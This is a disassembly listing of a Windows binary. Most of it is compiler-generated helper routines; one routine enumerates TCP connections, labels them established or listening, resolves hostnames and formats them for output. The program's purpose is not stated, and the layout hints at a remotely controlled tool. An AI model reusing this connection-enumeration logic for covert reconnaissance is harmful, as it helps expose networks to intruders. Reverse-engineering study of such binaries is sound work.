sub_418B90	proc near		; CODE XREF: sub_402234j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418B90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418BB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BE0	proc near		; CODE XREF: sub_401703j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40223E
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418BE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_401438j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jz	short loc_418C6A


loc_418C28:				; CODE XREF: sub_418C10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jnz	short loc_418C28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_402103j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D6B
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_40155Aj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jz	short loc_418D1A


loc_418CD8:				; CODE XREF: sub_418CC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40216C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jnz	short loc_418CD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418D1A:				; CODE XREF: sub_418CC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C67
sub_418D50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D65
		mov	edi, esi


loc_418D65:				; CODE XREF: ___:00418D61j
		push	esi
		call	sub_4015DC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D7A
		mov	edi, esi


loc_418D7A:				; CODE XREF: ___:00418D76j
		push	esi
		call	sub_401B31
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418DA0	proc near		; CODE XREF: sub_40207Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013FC
sub_418DA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DC0	proc near		; CODE XREF: sub_4015DCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418DC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E00	proc near		; CODE XREF: sub_401532j
		mov	eax, ecx
		retn
sub_418E00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E20	proc near		; CODE XREF: sub_401D98j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020FE
		mov	eax, esi
		pop	esi
		retn	4
sub_418E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E50	proc near		; CODE XREF: sub_40223Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418E50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C9E
		mov	esi, eax
		push	esi
		call	sub_401A96
		push	esi
		mov	ebx, eax
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C6C
		push	esi
		mov	ebx, eax
		call	sub_401A96
		mov	eax, [eax]
		push	eax
		call	sub_401C6C
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40176C
		push	esi
		mov	ecx, edi
		call	sub_402103
sub_418E80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F40	proc near		; CODE XREF: sub_401D6Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_418F40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F28
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F90	proc near		; CODE XREF: sub_40216Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401EEC
		mov	esi, eax
		push	esi
		call	sub_4015DC
		push	esi
		mov	ebx, eax
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B31
		push	esi
		mov	ebx, eax
		call	sub_4015DC
		mov	eax, [eax]
		push	eax
		call	sub_401B31
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018D4
		push	esi
		mov	ecx, edi
		call	sub_40207C
sub_418F90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401B31j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419070	proc near		; CODE XREF: sub_401C67j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_419070	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190A0	proc near		; CODE XREF: sub_4013FCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4190A0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190C0	proc near		; CODE XREF: sub_4020FEj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4190C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190E0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4190E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419110	proc near		; CODE XREF: sub_40176Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419130	proc near		; CODE XREF: sub_4018D4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419130	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419150	proc near		; CODE XREF: sub_401EECj
		mov	eax, [ecx]
		retn
sub_419150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4191B0	proc near		; CODE XREF: sub_402121j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4191B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43F074
		call	sub_437AEA
sub_4191B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41921D
		mov	ecx, eax
		call	sub_401F2D
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41921D:				; CODE XREF: ___:004191FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419270	proc near		; CODE XREF: sub_401F2Dj
		push	0FFFFFFFFh
		push	offset SEH_419270
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_437AEA
sub_419270	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4192BE
		mov	ecx, eax
		call	sub_4015C3
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4192BE:				; CODE XREF: ___:004192A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419300	proc near		; CODE XREF: sub_4015C3j
		mov	eax, ecx
		retn
sub_419300	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419320	proc near		; CODE XREF: sub_401974j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419320
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_419320	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4193C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4193C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017EE
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419766
		push	ebp
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		call	sub_40168B
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401870
		xor	ebp, ebp
		push	offset dword_444D68
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013ED
		test	eax, eax
		jz	short loc_41946F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419489
; ---------------------------------------------------------------------------


loc_41946F:				; CODE XREF: sub_4193C0+A3j
		push	offset dword_444D64
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_419489
		mov	[esp+2B4h+var_2A0], 1


loc_419489:				; CODE XREF: sub_4193C0+ADj
					; sub_4193C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_444D58
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419518
		mov	esi, dword_511AA8
		add	eax, 2
		push	offset dword_444D58
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419518
		mov	ecx, [ebx+32h]
		push	offset off_444D54
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41974C


loc_419518:				; CODE XREF: sub_4193C0+123j
					; sub_4193C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_437F50
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419742
		lea	ebp, [esi+14h]


loc_419554:				; CODE XREF: sub_4193C0+37Cj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419568
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41972C


loc_419568:				; CODE XREF: sub_4193C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_511C5C
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40147E
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40147E
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4195CC
		sub	eax, 3
		jnz	short loc_4195F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4195D5
; ---------------------------------------------------------------------------


loc_4195CC:				; CODE XREF: sub_4193C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4195D5:				; CODE XREF: sub_4193C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4195F2:				; CODE XREF: sub_4193C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419618
		xor	ebx, ebx


loc_419618:				; CODE XREF: sub_4193C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		call	near ptr 77C3FA76h
		nop
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_40142E
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4196AE
		cmp	eax, 1
		jz	loc_419713
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4196A1
		cmp	eax, esi
		jnz	short loc_419713


loc_4196A1:				; CODE XREF: sub_4193C0+2DBj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4196D4
; ---------------------------------------------------------------------------


loc_4196AE:				; CODE XREF: sub_4193C0+2C7j
		cmp	eax, 2
		jz	short loc_419713
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4196C2
		cmp	eax, edi
		jnz	short loc_419713


loc_4196C2:				; CODE XREF: sub_4193C0+2FCj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4196D4:				; CODE XREF: sub_4193C0+2ECj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_419713:				; CODE XREF: sub_4193C0+2CCj
					; sub_4193C0+2DFj ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41972C:				; CODE XREF: sub_4193C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419554


loc_419742:				; CODE XREF: sub_4193C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41974C:				; CODE XREF: sub_4193C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_419768
; ---------------------------------------------------------------------------


loc_419766:				; CODE XREF: sub_4193C0+3Dj
		mov	al, 1


loc_419768:				; CODE XREF: sub_4193C0+3A4j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4193C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419890	proc near		; CODE XREF: sub_40147Ej

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419950
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41991E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41991E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419950
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41991E:				; CODE XREF: sub_419890+5Aj
					; sub_419890+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_419950
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419950:				; CODE XREF: sub_419890+52j
					; sub_419890+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4199A0	proc near		; CODE XREF: sub_401F0Aj
		nop
		call	near ptr 27F0C4Bh
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4199A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4199C0	proc near		; CODE XREF: sub_4021C6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		call	near ptr 77C371D3h
		nop
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43F0B0
		call	sub_437BDA
